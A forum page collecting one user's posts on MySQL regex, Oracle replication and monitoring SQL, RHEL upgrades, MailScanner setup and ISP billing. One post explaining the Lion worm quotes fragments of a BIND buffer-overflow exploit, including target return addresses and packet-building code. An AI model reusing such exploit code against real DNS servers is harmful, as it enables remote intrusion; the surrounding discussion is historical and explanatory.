顯示文章

這裡允許您檢視這個會員的所有文章。請注意, 您只能看見您有權限閱讀的文章。


文章 - dandy

頁: [1] 2 3
1
是regular expression沒錯,速度絲毫不比like慢, 這個省掉很多AP的判斷coding.

以下是轉貼:

Introduction

A very interesting and useful capability of MySQL is to incorporate Regular Expressions (regex) in SQL queries. The regular expression support in MySQL is extensive. Let's take a look at using Regular Expressions in queries and the supported metacharacters.

Using Regular Expressions in queries

A simple example of using Regular Expressions in a SQL query would be to select all names from a table that start with 'A'.

SELECT name FROM employees WHERE name REGEXP '^A'

A slight modification in the above example to look for names starting with 'A' or 'D' or 'F' will look like this.


SELECT name FROM employees WHERE name REGEXP '^(A|D|F)'

If we want to select all names ending with 'P', then the SQL query goes like this


SELECT name FROM employees WHERE name REGEXP 'P$'

We can use much complex patterns in our SQL queries, but first let's have a look at various MySQL Regular Expression metacharacters.

Regular Expression Metacharacters

*

    Matches zero or more instances of the string preceding it

+

    Matches one or more instances of the string preceding it

?

    Matches zero or one instances of the string preceding it

.

    Matches any single character, except a newline

[xyz]

    Matches any of x, y, or z (match one of enclosed characters)

[^xyz]

    Matches any character not enclosed

[A-Z]

    Matches any uppercase letter

[a-z]

    Matches any lowercase letter

[0-9]

    Matches any digit

^


    Anchors the match from the beginning

$


    Anchors the match to the end

|

    Separates alternatives

{n,m}

    String must occur at least n times, but not more than m times

{n}

    String must occur exactly n times

{n,}

    String must occur at least n times

[[:<:]]

    Matches beginning of words

[[:>:]]

    Matches ending of words

[:class:]

    match a character class i.e.,

   [:alpha:] for letters
    [:space:] for whitespace
    [:punct:] for punctuation
    [:upper:] for upper case letters


Extras

MySQL interprets a backslash (\) character as an escape character. To use a backslash in a regular expression, you must escape it with another backslash (\\).

Whether the Regular Expression match is case sensitive or otherwise is decided by the collation method of the table. If your collation method name ends with ci then the comparison/match is case-insensitive, else if it end in cs then the match is case sensitive.

Examples

Checking only for numbers


SELECT age FROM employees WHERE age REGEXP '^[0-9]+$'

/* starts, ends and contains numbers */

Contains a specific word, for example the skill PHP in skill sets


SELECT name FROM employees WHERE skill_sets REGEXP '[[:<:]]php[[:>:]]'

Fetching records where employees have entered their 10-digit mobile number as the contact number.


SELECT name FROM employees WHERE contact_no REGEXP '^[0-9]{10}$'


2
在下剛好有做過windows上的獨立安裝包, windows上至少需要以下幾個檔:
oci.dll
ocijdbc10.dll
ociw32.dll
orannzsbb10.dll
oraocci10.dll
oraociei10.dll
orasqlplusic10.dll
sqlnet.ora
sqora32.dll
sqoras32.dll
sqresja.dll
sqresus.dll
TNSNAMES.ORA

linux上用php,建議除了ocijdbc10.dll跟ociw32.dll,其他再刪減幾個應該可以達到您要的效果
(1)可,這個涉及版權問題,最好自己做
(2)使用oci8.so沒問題

3
真心感謝所有參與此post的人...你們讓我開心笑了好幾次,一不小心正在喝水噴壞了2顆按鍵....

4
RHEL5的yum無痛升級法 (php5.3.1-1+mysql5.1.41-1)
--Written by Dandy


5
RHEL5升級JDK 6 Update 17+Tomcat 6.0.20筆記
-written by Dandy
====================
RHEL5內建的JDK是gij (GNU libgcj) version 4.1.1的Java 1.4.2,這版本跟一些系統不大合,也稍嫌有點舊,所以趁升級Tomcat 6時順便來換掉,
一般RHEL 5目前都僅支援到Apache Tomcat 5及JRE 5, 無法以yum安裝,以下為更新步驟:

6
目前的 dns server 軟體大都是 BIND 那一套。
記得比較嚴重的漏洞是一個 Lion worm 的攻擊(印象是公元 2000/2001 的事情),
專門針對 linux 上的 bind8 實作,可以讓入侵者取得 root 的權限。
自那次開始,大家對 chroot 囚牢的設計也有了比較普遍的認識。

至於 DOS 攻繫,本身對 dns 服務的衝擊不是重點,
而是在攻繫發動之後所帶來的進一步影響。
比方造成系統 loading 過重而又拉長某些服務的反應時間,
有機會注入 buffer overload 等程式碼并取得足夠的發作條件。
或是將某一 IP 打跨并冒用該 IP 來提供偽服務等等...

以上只是個人猜想的可能性,實際的操作并無經驗。

沒錯,以上推斷完全正確,基本上Lion的source來自teso,ADM等group,其exploit早在幾個月前就流出,
Lion作者做了一些自動化的改良而演變成worm,teso的source也很又意思,其基本作法就是利用超過1024的buffer overflow
來folk出shell code,而那時的bind並沒有chroot,所以folk出的shell code可以做任何事.

set_ptr(char *buff, int offset, unsigned long val, int s)
{
        char            copy_buff[1024];
        int             revval;
        memcpy(copy_buff, buff, 1024);
        revval = buff[SHELL_OFFSET_1];
        /* increment record usage count */
        revval += BIND_OFF_01;
        if (s)
                if (!fork())
                        /* simply copy value to offset */
                        memcpy(&copy_buff[offset], &val, sizeof(val));
        memcpy(buff, copy_buff, sizeof(copy_buff));
        return 0;
}

當時除了linux外,被點名的還有BSD,理論上,能夠找出overflow code的,就無法擋,而計算這個hex是不會太難的,所以
後來bind就開始採用chroot設計,即使取得root也只能在chroot內運作,不致整台被抱走...
        {
                "Linux RedHat 6.0", "9.2.x", 0xbfff0508, 104, linux_shellcode
        },
        {
                "Linux RedHat 6.2", "9.2.x", 0xbfff0a04, 80, linux_shellcode
        },
        {
                "Linux RedHat 7.2", "9.2.x", 0xbfff040a, 84, linux_shellcode
        },
        {
                "Linux Slackware 8.0", "9.2.x", 0xbfffe123, 20, linux_shellcode
        },
        {
                "Linux Debian (all)", "9.2.x", 0xbfffd0aa, 110, linux_shellcode
        },
        {
                "FreeBSD 3.4", "8.2.x", 0xbfbfa101, -10, bsd_shellcode
        },
        {
                "FreeBSD 3.5", "8.2.x", 0xbfbfc09a, -10, bsd_shellcode
        },
        {
                "FreeBSD 4.x", "8.2.x", 0xbfbffe01, -40, bsd_shellcode
        },
基本上,搭配DoS的攻擊效能據測試會比單用來得容易溢出,這就是所謂的race condition,
簡單來說,就是當主機太忙來不及處理,buffer overflow到偽造的point,就可以指向事先encode的offset.
        /*
         * now build packet
         * set pointer to itself. dont modify BIND_OFF_02, it was
         * bruteforced.. and worked with every bind i sploited.
         */
        set_ptr(shellcode, BIND_OFF_02, (unsigned long) shellcode, 1);
        /* setup tsig info */
        set_ptr(shellcode, BIND_OFF_01, SHELL_OFFSET_2, 0);
        /* count of records */
        if (i > (SHELL_OFFSET_2 - 10)) {
                set_ptr(shellcode, BIND_OFF_03, i, 0);
        } else {
                i += (SHELL_OFFSET_2 / 2);
                i -= (SHELL_OFFSET_2 % 2);      /* thnx enr1qe! :) */
                set_ptr(shellcode, BIND_OFF_03, i, 0);
        }
        /* store return ADDR !! */
        set_ptr(shellcode, BIND_OFF_04, remote[type].ret + (i * remote[type].otebp), 0);

至於將dns主機拖垮來偽造dns service的作法可行性應該不高,這種作法叫做Pharming,最常見的技巧是cache poison,利用cache轉嫁dns,
印象中2007年發生過一次MSN設定錯誤dns被轉嫁過一次,利用DoS的可行性遠比其他做法的成功率要來得低

7
Linux 討論版 / 安裝Perl SAVI Module 出現錯誤
« 於: 2007-07-07 15:53 »
試著在/etc/ld.so.conf裡加上一行
/usr/local/bin
然後
#ldconfig

8
Linux 討論版 / Re: mailscanner過濾的問題
« 於: 2005-11-07 19:29 »
引述: "cisco3662"
引述: "dandy"
引述: "cisco3662"
引述: "cisco3662"
不曉得mailscanner.conf哪裡可以定義大於多少size的郵件便不做過濾
有找到這一段

代碼: [選擇]
# SpamAssassin is not very fast when scanning huge messages, so messages
# bigger than this value will be truncated to this length for SpamAssassin
# testing. The original message will not be affected by this. This value
# is a good compromise as very few spam messages are bigger than this.
Max SpamAssassin Size = 30000


但上述似乎是定義大於30k的mail將被切割成30k來做spam testing,還是會scan的

(我的想法是廣告信通常是不大的,也就是說若有人寄附件的話通常不應該是spam,也就是不需耗損系統資源去check)


目前為止還是無解


您一定沒有注意到這幾行:

Max Unscanned Bytes Per Scan = 100000000
Max Unsafe Bytes Per Scan = 50000000
Max Unscanned Messages Per Scan = 30
Max Unsafe Messages Per Scan = 30

並不一定是"已經"判斷成spam,再反過來決定要不要掃它,已判斷過表示已掃過,所以再一開始就要決定多大以上的信件不用掃,default是50MB,所以,理所當然很少有信件超過50MB


請問一下這兩個單字的差異unscanned,unsafe
Max Unscanned Bytes Per Scan = 100000000(若超過100M則不掃描??)
Max Unsafe Bytes Per Scan = 50000000(???)
Max Unscanned Messages Per Scan = 30(每個批次最大掃描30封???)
Max Unsafe Messages Per Scan = 30(???)


不用想得太複雜,Unscanned=不掃,Unsafe=不安全=沒有掃過,所以這兩個字代表的意義是一樣的,那為什麼不同樣用一個字代表?我想是為了區隔功能上的不同.

Max Unscanned Bytes Per Scan = 100000000(每一批次若超過100M則不掃描)
Max Unsafe Bytes Per Scan = 50000000(每一批次,已分析過,有可能中標,但超過50M則不掃描不解開壓縮)
Max Unscanned Messages Per Scan = 30(每個批次最大掃描30封,超過則放它過,不用擔心,除非你機器很爛,而且Max Children又開得很小,不然過的機率很小)
Max Unsafe Messages Per Scan = 同上.

要注意的是,MailScanner預設是以批次(batch)來做掃瞄的動作,屬於主動,也可以使用佇列(queue)的方式,屬於被動,也就是說你也可以把進出的信全queue起來嚴格審核過再放行---所以,每一批次有可能超過20封以上,如果滿足上面的條件,就是會全部放行,而不是以單一信件來做篩選條件.

9
Linux 討論版 / 使用mailscanner-mrtg有錯誤訊息
« 於: 2005-11-07 15:26 »
16.Mailscanner-MRTG

]#rpm -ivh  mailscanner-mrtg-0.10.00-1.noarch.rpm

修改設定檔
vi /etc/MailScanner/mailscanner-mrtg.conf

修改下列參數:
MTA = postfix
Incoming Queue Dir = /var/spool/postfix/hold
Outgoing Queue Dir = /var/spool/postfix/incoming
MailScanner Work Directory = /var/spool/MailScanner/incoming-->/var/
Spool Directory = /var/spool/mailscanner-mrtg-->/var/
------------------------------------
<ps>此兩項是用df指令來穫得磁碟空間,所以要求實際mount point,可以看看原來MailScanner Work Directory和Spool Directory
是在那個磁區底下,直接設定即可,因為其重點在於監控這兩個目錄所在空間是否不足,官方網站提出使用tmpfs另外分出兩個掛載點,
個人覺得並不是非常好的解法,因為無法提供正確空間的使用數據,僅能夠消除錯誤的log而已,請參考.
以我的例子,此兩個目錄都在/var的mount point上,所以都設成/var.

10
Linux 討論版 / Re: mailscanner過濾的問題
« 於: 2005-11-07 15:20 »
引述: "cisco3662"
引述: "cisco3662"
不曉得mailscanner.conf哪裡可以定義大於多少size的郵件便不做過濾
有找到這一段

代碼: [選擇]
# SpamAssassin is not very fast when scanning huge messages, so messages
# bigger than this value will be truncated to this length for SpamAssassin
# testing. The original message will not be affected by this. This value
# is a good compromise as very few spam messages are bigger than this.
Max SpamAssassin Size = 30000


但上述似乎是定義大於30k的mail將被切割成30k來做spam testing,還是會scan的

(我的想法是廣告信通常是不大的,也就是說若有人寄附件的話通常不應該是spam,也就是不需耗損系統資源去check)


目前為止還是無解


您一定沒有注意到這幾行:

Max Unscanned Bytes Per Scan = 100000000
Max Unsafe Bytes Per Scan = 50000000
Max Unscanned Messages Per Scan = 30
Max Unsafe Messages Per Scan = 30

並不一定是"已經"判斷成spam,再反過來決定要不要掃它,已判斷過表示已掃過,所以再一開始就要決定多大以上的信件不用掃,default是50MB,所以,理所當然很少有信件超過50MB

11
引述: "jason_linux"
另外還有一點請問一下:
因為MailScanner是使用/etc/MailScanner/spam.assassin.prefs.conf做參數參考,原本的spamassassin的local.cf設定檔有可以直接把垃圾信刪除的功能,那在spam.assassin.prefs.conf好像沒看到,不曉得該如何做到?


由於這樣設定都是以MailScanner為主軸來帶動spamassassin跟postfix,所以大部份的設定在MailScanner.conf就可以搞定,將這兩行看一下

Spam Actions = deliver
High Scoring Spam Actions = delete

把Spam Actions = deliver改成delete就可以達到您要的功能,另外,由於是評分制,所以您可以自行定義多少分是High Scoring spam,多少分是一般Spam,然後再由上面那兩行決定deliver或delete,一般來說,High Scoring spam幾乎百分百是垃圾了,所以delete是default.

12
引述: "jason_linux"
請問一下:
為什麼我只要再 /etc/postfix/header_checks加上這一段敘述:
 /^Received:/ HOLD
就會無法收發信??


因為這行的用意是把postfix所收到的信,hold起來等待MailScanner檢查,您的MailScanner如果沒有正常啟動,就會沒辦法push信收發

13
Linux 討論版 / RHEL4所支援的RAID卡
« 於: 2005-10-11 23:42 »
Promise FastTrak SX4300/SX8300

14
Linux 討論版 / [請教]VPN連線問題~~請求協助
« 於: 2005-10-07 14:14 »
看樣子應該是GRE protocol出現問題,在pptp vpn上遇到的問題最多就是在路由跟iptables上,GRE這個協定原本是由cisco所開發的 tunneling 協定,比 IP-in-IP tunneling好用一點,像是能夠透過 GRE tunnel 傳送 multicast 和 IPv6 資訊. btw, Linux 裡面的 tunnel 共分三類, IP in IP tunneling, GRE tunneling跟核心以外的 tunnels.
所以在路由方面,請大家盡量能看懂這個url的圖:
http://pptpclient.sourceforge.net/routing.phtml
和瞭解一下pptpd如何封裝packet跟運作:
http://pptpclient.sourceforge.net/diagrams.phtml

其他應該就不難了.

15
Network 討論版 / 中華電信Hinet處理事件簿
« 於: 2005-10-01 22:41 »
<這是去年1月的事件>
敝人從民國89年起申請使用ADSL,至今已有5年的歷史,費用從當年的三千多降到目前的799+1500=2299,速度從當年的512/64,去年7月為了架站申請改為雙向512,這是因為費率上只較512/64多出100多元,所以從去年7月就繳2299到現在,但由於阿扁成功連任,學生代表於抗爭時反應ADSL太貴,於是中華電信開始大降價,到這個月連降兩次,我想想實在忍不住了,開始研究Hinet ADSL費率,結果實在是出乎我意料之外的糟糕,首先,我感興趣的有這幾項:
1.8M/640非固定--目前的收費為550+650=1200,這居然比3M/640的1200+949=2149還貴上許多,何解?在深入瞭解後,才知道"集縮比"這個名詞,簡單說,Hinet的8M/640在集縮比的規劃上比較高,據說為12~20:1,3M/640約為4:1,所以在速度穩定性上起伏比較大,我跑了電信局詢問後,居然小姐跟我說不收違約金(以我的情形應該是要的),好!二話不說,馬上申請換,結果後來考慮到穩定性及架站的方便性,再電話詢問一次,居然跟我說換固3不收違約金,但是要親自去中華電信辦理,好,再一次二話不說,cacel掉8M/640.

2.2M/512K固3--其實我對固定ip是比較感興趣,因為雖然非固定制從2M以上就提供鎖定一個ip做為固定ip的服務,但這個還是需要透過PPPoE來連線,對架站來說頗不方便,所以二次造訪電信局便申請這項業務,結果碰到一個比較熟悉規定的小姐,在那邊嚕了半片,在詳查費率規定後,得出一個結論,我必須繳交1000+3000=4000的違約金,她說是因為雙向512的約比較嚴格...我一聽幾乎傻眼,腦子開始轉出一些solution:
(1)直接停掉雙向512--不行,違約金還是要繳,電路年資的折扣以後就沒有了
(2)等到七月再停掉雙向512--不行,而且電路違約金+網路違約金=4000(雙向512內規定電話違約金1000一定要滿兩年,非固定滿一年)
(3)保留電路,換裝2M/512--這樣除違約金3000要收以外,也不能享有699+799=1498的新申請費率,而必須照牌告費率999+699=1698,每月大概省掉600x12=7200-3000=4200,應該還可以接受,可是居然跟我說不送禮品無線AP+網卡,算一算也不大划算
(4)乾脆連電話都停掉,賴掉違約金--不行,會造成欠費,其他名下電話也會一併停掉
(5)最後...好像都出在合約的問題上面,我不記得簽過這樣的合約呀..耶~,不記得會不會就是沒有?請小姐從總局傳真我當初簽的合約來看,果然合約並沒載明這些不公平條款,哈~~這下沒簽約,所以也不存在違約問題,原因是我當初從512/64換成雙向512時,只填了一張異動單,裡面根本不會有這些條款,所以,小姐看我想拿異動單去申訴了,趕緊請出主管,動用權限解除3000的違約金,直接昇級轉換成2M/512,但是還是照牌告費率計算999+699=1698,我還是答應了,為什麼呢?因為這樣是延續我雙向512的約,也就是我頂多再一年就可以解約,而繳699+799=1498必須多一年,照Hinet目前的降價方式,難保兩年會降到什麼地步...而且我還有ADSL8折,電路9折的年資折扣.

這次事件的處理,有幾個心得:
1.Hinet訂價策略實在是紊亂,造成一項業務有多個版本的說法
2.Hinet約聘人員太多,素質太差,不管電話客服,櫃台人員都一樣,所以要繳違約金的請多去碰碰運氣,搞不好就不用繳
3.態度良好的請主管(一般是股長)出來談,應該可以爭取到一些空間
4.請對自己的合約仔細閱讀

<這個月的事件>
由於不小心翻到hinet的網頁,忽然想起ADSL的約好像已經到期了,打電話問一下,果然在七月底就到期了,再翻一下Hinet ADSL的網頁,果不其然,又有策略大降價
http://www.adsl.hinet.net/3ip/index.htm
首先8M/640固3果然已經跑出來了,而且變成1299+650=1949,比原先的2M/512=1698多一點點,而現在的2M/512是1448,比之前少了250元/月,更遭糕的是,原先合約內就可以申請異動,但是不會主動告知,於是二話不說,重新到中華電信櫃台換約,資料填寫中,跟承辦小姐吐說,咦~你很好像約滿了都不會主動告知喔,他很不好意思的說,因為客戶如果沒有主動要求換約,表示用得很滿意....嗯,真是一個..好理由.
所以,使用hinet的下列幾點心得:
1.請注意自己的合約日期,固接撥接都一樣,約滿了就去換
2.請多注意hinet的promotion網頁
固接:http://www.adsl.hinet.net/3ip/index.htm
撥接:http://www.promotion.hinet.net/index.htm
3.如果你不換約,表示你很有錢,每個月多繳一些錢給hinet,或用同樣的$$使用較低的頻寬
4.記得重新換約有贈品,贈品有3com wireless ap set, dvd燒錄器等
5.hinet"絕對"不會主動通知你任何的期約內容,而且會希望你傻傻的一直繳

16
database 討論版 / BDE轉mysql
« 於: 2005-09-30 15:46 »
不用這麼麻煩,既然您有bde,想必使用delphi,所以可以使用delphi內附的datapump這個程式來轉換,結構/資料都可以轉,請注意,在轉換前您必須要有mysql的odbc,才能在bde內設置alias name,bde是不支源native driver的mysql的,但是dbx支援,所以您也可以自己寫一個簡單的轉換程式

17
雜七雜八 / 關於Sun Solaris
« 於: 2005-09-30 03:46 »
來插一下花...
據我所瞭解,
1.Solaris for x86的確是跟一般pc unix一樣的東西,因為是從sparc的solaris所修改而來的,source code也沒有公開,所以原廠maintain上也不如linux/bsd廣大的社群
2.solaris x86"絕對"不是linux,也不見得不適合企業用,Sun在pc server有兩套unix系統,一套是Solaris,一套是Sun Linux,我印象中Sun在2004年就停止開發Sun Linux,改用Redhat Enterprise,大家可能不知道,RH在很久以前就有Sparc版本,也就是說,Sparc機器不見得一定要裝Solaris
3.for sparc的軟體,百分之百沒法在x86上跑,除非兩種情況,一是本身包了兩種os的package,二是本身使用vm寫成
4.用x86的pc server裝solaris,當然不如裝linux/bsd好,因為功能有限,要裝個samba還得patch好多東西,performance也soso
5.以oracle的效能上來看,還是以sparc上的solaris最好,因為oralce自古以來就是base在solaris上開發,但是oracle上的tunning還是最重要的,不會tune,硬體所佔的優勢只有一點點
6.基本上....dell給我的印象就是便宜
7.solaris x86,真的新的機器不見得能夠跑,hp/compaq pc server算是跑linux/bsd相容性最高的機器,來跑solaris,能順利裝完的新機器真的不多,salse告訴你適合學術的另一個意思就是----你可以拿它來研究,因為99%你沒辦法光碟開機完順利裝到完,所以必需進行許多的"研究",抓很多的patch,以增進你的學術思考

18
MIS 討論區 / MIS到底做些什麼
« 於: 2005-09-28 17:07 »
好吧~這已經變成喇賽文了,MIS做的是什麼已經不重要了..大家請繼續~

19
database 討論版 / ORACLE replication memo筆記
« 於: 2005-09-28 16:36 »
貼一些舊筆記
*****************************************************
My ORACLE replication memo
            --written by Dandy
*****************************************************
<<<手動>>>
*Replication同步oracle步驟

1.查看是否支援Advance replication.
SQL>select * from v$option where parameter='Advanced replication'

2.確認啟始參數(init*.ora)

db_domain = test.com.cn
global_names = true

# The following parameters are needed for the Advanced Replication Option
job_queue_processes = 4
job_queue_interval = 60
distributed_transactions = 10
open_links = 4

3.設定tnsname,加入異地連結,使得下列連結能成功:
(假設local為BB)

tnsping AA
sqlplus scott/tiger@AA.test.com

4.測試資料庫全域名稱和公共的資料庫鏈結

SQL>create public database link AA1 connect to scott identified by tiger using 'AA';
資料庫連結已被建立
SQL>select * from global_name@AA1;

GLOBAL_NAME
--------------------------------------------------------------------------------
AA.TEST.COM

5.建立管理資料庫複製的用戶repadmin,並授權。
(用system登入)
SQL>create user repadmin identified by repadmin default tablespace users temporary tablespace temp;
SQL>execute dbms_defer_sys.register_propagator('repadmin');
SQL>grant execute any procedure to repadmin;
SQL>grant lock any table to repadmin;

6.在資料庫複製的用戶repadmin下創建私有的資料庫鏈結。
(用repadmin登入)
SQL>create database link AA1 connect to repadmin identified by repadmin using 'AA';

7.測試這個私有的資料庫鏈結
SQL>select * from global_name@AA1;

GLOBAL_NAME
--------------------------------------------------------------------------------
AA.TEST.COM

8.創建或選擇資料庫欲複製的用戶和物件,授權給用戶,資料庫物件必須有主關鍵字。
假設我們用ORACLE裏舉例用的scott用戶,dept表。


<<<使用Replication Manager>>>
*Replication同步oracle步驟

1.查看是否支援Advance replication.
SQL>select * from v$option where parameter='Advanced replication'

2.確認啟始參數(init*.ora)

db_domain = test.com.cn
global_names = true

# The following parameters are needed for the Advanced Replication Option
job_queue_processes = 4
job_queue_interval = 60
distributed_transactions = 10
open_links = 4

3.設定tnsname,加入異地連結,使得下列連結能成功:
(假設local為BB)

tnsping AA
sqlplus scott/tiger@AA.test.com

4.測試資料庫全域名稱和公共的資料庫鏈結

SQL>create public database link AA1 connect to scott identified by tiger using 'AA';
資料庫連結已被建立
SQL>select * from global_name@AA1;

GLOBAL_NAME
--------------------------------------------------------------------------------
AA.TEST.COM

5.開啟DBA Studio,以system登入,
  (1)啟動replicaiton manager,
      Multimaster Replication--多資料庫複製
      Snapshot Replication--快照複製(2部oracle複製)
  選Snapshot Replication
  (2)Master Site按右鍵選Setup Master Site
  (3)將欲同步的兩部oracle加入
  (4)輸入資料過程中儘量保留預設值。(schedule time 或可改為30秒,async測試用)設一次就好
  (5)完成後產生repadmin/repadmin的帳號,以後以此帳號登入.
  (6)完成後各在2個oracle產生DB link,以repadmin/repadmin登入,按test測試連線是否正常,不正常則檢查tnsname.

6.disconnect後以repadmin/repadmin登入,設定sync Master Groups
  (1)啟動replicaiton manager,Master Groups按右鍵選Create
  (2)General頁面的name填入SCOTT_SYNC
  (3)Object 頁面點Add,選SCOTT,勾Tables,將scott的table全選入(如果我們選的table沒有primary key,
      這時replication manager會要求我們一定要選好primary key。)
  (4)Master Sites頁面選Add,將Public database link打勾,選已經設定好的AA1.TEST.COM.
      Propagation選synchronous。如果這時所有的site這些table資料內容都一致,必須
      uncheck Copy row data。否則資料量多(>10000筆)時,會有問題。
  (5)最後點Create.

7.啟動replicaiton manager,Master Groups會出現剛建立的Master Group scott_sync
   status 為quisced,正常狀態為normal。

=====================
Asynchronous 非即時同步
=====================
1.由於synchronous在資料不一致或網路反應過慢時會lock住table不能異動資料,所以一般採用asynchronous同步
2.asynchronous的資料同步流程為:
---(1)產生Admin Request ==>(2)在timestamp的interval(時間間隔)產生defferd data(即將要複製資料的queue)
==>(3),判斷有無衝突,無衝突則異動到remote端的table中,有衝圖則依據xx的resolution規則處理或直接產生error
3.若同步停止仍會lock住table.
4.設定如下:
--(1)以repadmin登入replication manager,在Multimaster Replication的Master Groups按右鍵選Create(假設之前的Setup Master Site
已完成.
  (2)共有三頁次,第一頁General,填入欲replicate的物件名稱
  (3)第二頁Object,選擇欲同步的物件,如table,view,等
  (4)第三頁Master Site,選擇欲同步的oracle site,local site為Master Definition Site,其他則為Master Site.按Add選
  Public database links,下面Available links會出現之前Setup Master Site所設定過的site,點一下按ok,
  (5)出現遠端site的選項,分成Propagation(複製方式)--Asynchronous(非即時)和Synchronous(即時)
  (6)右邊的Use existing object是使用存在的物件與否,Copy row data表示同步時需不需要複製資料,若資料量多可能
  會造成同步非常緩慢,此時利用(A)export(B)import(C)Create物件,此選項取消可快速完成.
  (7)Creat
  (8)依照個別同步的table設定衝突規則









<P.S.>若產生錯誤無法清除,在SYSTEM.REPCAT$_REPCAT的Table裡可找到資料砍掉.

20
database 討論版 / 監控資料庫性能的SQL
« 於: 2005-09-28 16:33 »
這個是抄別人的,出處不好意思忘了~

監控資料庫性能的SQL
1. 監控事件的等待
select event,sum(decode(wait_Time,0,0,1)) "Prev",
          sum(decode(wait_Time,0,1,0)) "Curr",count(*) "Tot"
  from v$session_Wait
  group by event order by 4;

2. 回滾段的爭用情況
    select name, waits, gets, waits/gets "Ratio"
    from v$rollstat a, v$rollname b
    where a.usn = b.usn;

3. 監控表空間的 I/O 比例
    select df.tablespace_name name,df.file_name "file",f.phyrds pyr,
    f.phyblkrd pbr,f.phywrts pyw, f.phyblkwrt pbw
    from v$filestat f, dba_data_files df
    where f.file# = df.file_id
    order by df.tablespace_name;

4. 監控文件系統的 I/O 比例
    select substr(a.file#,1,2) "#", substr(a.name,1,30) "Name",
    a.status, a.bytes, b.phyrds, b.phywrts
    from v$datafile a, v$filestat b
    where a.file# = b.file#;

5.在某個用戶下找所有的索引
    select user_indexes.table_name, user_indexes.index_name,uniqueness, column_name
    from user_ind_columns, user_indexes
    where user_ind_columns.index_name = user_indexes.index_name
    and user_ind_columns.table_name = user_indexes.table_name
    order by user_indexes.table_type, user_indexes.table_name,
    user_indexes.index_name, column_position;

6. 監控 SGA 的命中率
    select a.value + b.value "logical_reads", c.value "phys_reads",
    round(100 * ((a.value+b.value)-c.value) / (a.value+b.value)) "BUFFER HIT RATIO"
    from v$sysstat a, v$sysstat b, v$sysstat c
    where a.statistic# = 38 and b.statistic# = 39
    and c.statistic# = 40;

7. 監控 SGA 中字典緩衝區的命中率
    select parameter, gets,Getmisses , getmisses/(gets+getmisses)*100 "miss ratio",
    (1-(sum(getmisses)/ (sum(gets)+sum(getmisses))))*100 "Hit ratio"
    from v$rowcache
    where gets+getmisses <>0
    group by parameter, gets, getmisses;

8. 監控 SGA 中共用緩存區的命中率,應該小於1%
    select sum(pins) "Total Pins", sum(reloads) "Total Reloads",
    sum(reloads)/sum(pins) *100 libcache
    from v$librarycache;
    select sum(pinhits-reloads)/sum(pins) "hit radio",sum(reloads)/sum(pins) "reload percent"
    from v$librarycache;

9. 顯示所有資料庫物件的類別和大小
    select count(name) num_instances ,type ,sum(source_size) source_size ,
    sum(parsed_size) parsed_size ,sum(code_size) code_size ,sum(error_size) error_size,
    sum(source_size) +sum(parsed_size) +sum(code_size) +sum(error_size) size_required
    from dba_object_size
    group by type order by 2;

10. 監控 SGA 中重做日誌緩存區的命中率,應該小於1%
    SELECT name, gets, misses, immediate_gets, immediate_misses,
    Decode(gets,0,0,misses/gets*100) ratio1,
    Decode(immediate_gets+immediate_misses,0,0,
    immediate_misses/(immediate_gets+immediate_misses)*100) ratio2
    FROM v$latch WHERE name IN ('redo allocation', 'redo copy');

11.  監控記憶體和硬碟的排序比率,最好使它小於 .10,增加 sort_area_size
    SELECT name, value FROM v$sysstat WHERE name IN ('sorts (memory)', 'sorts (disk)');

12. 監控當前資料庫誰在運行什?SQL語句
    SELECT osuser, username, sql_text from v$session a, v$sqltext b
    where a.sql_address =b.address order by address, piece;

13. 監控字典緩衝區
    SELECT (SUM(PINS - RELOADS)) / SUM(PINS) "LIB CACHE" FROM V$LIBRARYCACHE;
    SELECT (SUM(GETS - GETMISSES - USAGE - FIXED)) / SUM(GETS) "ROW CACHE" FROM V$ROWCACHE;
    SELECT SUM(PINS) "EXECUTIONS", SUM(RELOADS) "CACHE MISSES WHILE EXECUTING" FROM V$LIBRARYCACHE;
    後者除以前者,此比率小於1%,接近0%?好。
    SELECT SUM(GETS) "DICTIONARY GETS",SUM(GETMISSES) "DICTIONARY CACHE GET MISSES"
    FROM V$ROWCACHE

14. 找ORACLE字元集
    select * from sys.props$ where name='NLS_CHARACTERSET';

15. 監控 MTS
    select busy/(busy+idle) "shared servers busy" from v$dispatcher;
    此值大於0.5時,參數需加大
    select sum(wait)/sum(totalq) "dispatcher waits" from v$queue where type='dispatcher';
    select count(*) from v$dispatcher;
    select servers_highwater from v$mts;
    servers_highwater接近mts_max_servers時,參數需加大

16. 碎片程度
    select tablespace_name,count(tablespace_name) from dba_free_space group by tablespace_name
    having count(tablespace_name)>10;
    alter tablespace name coalesce;
    alter table name deallocate unused;
    create or replace view ts_blocks_v as
    select tablespace_name,block_id,bytes,blocks,'free space' segment_name from dba_free_space
    union all
    select tablespace_name,block_id,bytes,blocks,segment_name from dba_extents;
    select * from ts_blocks_v;
    select tablespace_name,sum(bytes),max(bytes),count(block_id) from dba_free_space
    group by tablespace_name;
    查看碎片程度高的表
    SELECT segment_name table_name , COUNT(*) extents
    FROM dba_segments WHERE owner NOT IN ('SYS', 'SYSTEM') GROUP BY segment_name
    HAVING COUNT(*) = (SELECT MAX( COUNT(*) ) FROM dba_segments GROUP BY segment_name);

17. 表、索引的存儲情況檢查
    select segment_name,sum(bytes),count(*) ext_quan from dba_extents where
    tablespace_name='&tablespace_name' and segment_type='TABLE' group by tablespace_name,segment_name;
    select segment_name,count(*) from dba_extents where segment_type='INDEX' and owner='&owner'
    group by segment_name;

18、找使用CPU多的用戶session
    12是cpu used by this session
    select a.sid,spid,status,substr(a.program,1,40) prog,a.terminal,osuser,value/60/100 value
    from v$session a,v$process b,v$sesstat c
    where c.statistic#=12 and c.sid=a.sid and a.paddr=b.addr order by value desc;

21
database 討論版 / ORACLE memo小技巧
« 於: 2005-09-28 16:29 »
貼一些舊筆記
*****************************************************
My ORACLE memo
            --written by Dandy
*****************************************************

*Oracle 資料檔案datafile遺失或誤砍的補救方式
--1.在資料庫啟動時,開啟svrmgrl,以internal連接=>
   SVRMGRL>CONNECT INTERNAL
  2.將損毀的DATAFILE離線   =>
     SVRMGRL>ALTER DATABASE DATAFILE 'D:\Oracle\oradata\LOCALDB\SOLE.ORA'OFFLINE;
  3.將損毀的DATAFILE離線並刪除=>
     SVRMGRL>ALTER DATABASE DATAFILE 'D:\Oracle\oradata\LOCALDB\SOLE.ORA'OFFLINE DROP;
  4.重新關閉並啟動資料庫
  5.CONNECT SYSTEM 看是否復原

*ORA-01599 Rollback Segment超出預設值,無法啟動oracle
--將多出的rollback segment OFFLINE或更改init.ora內max_rollback_segments的值
======================================================================================
*ORACLE的邏輯備份指令
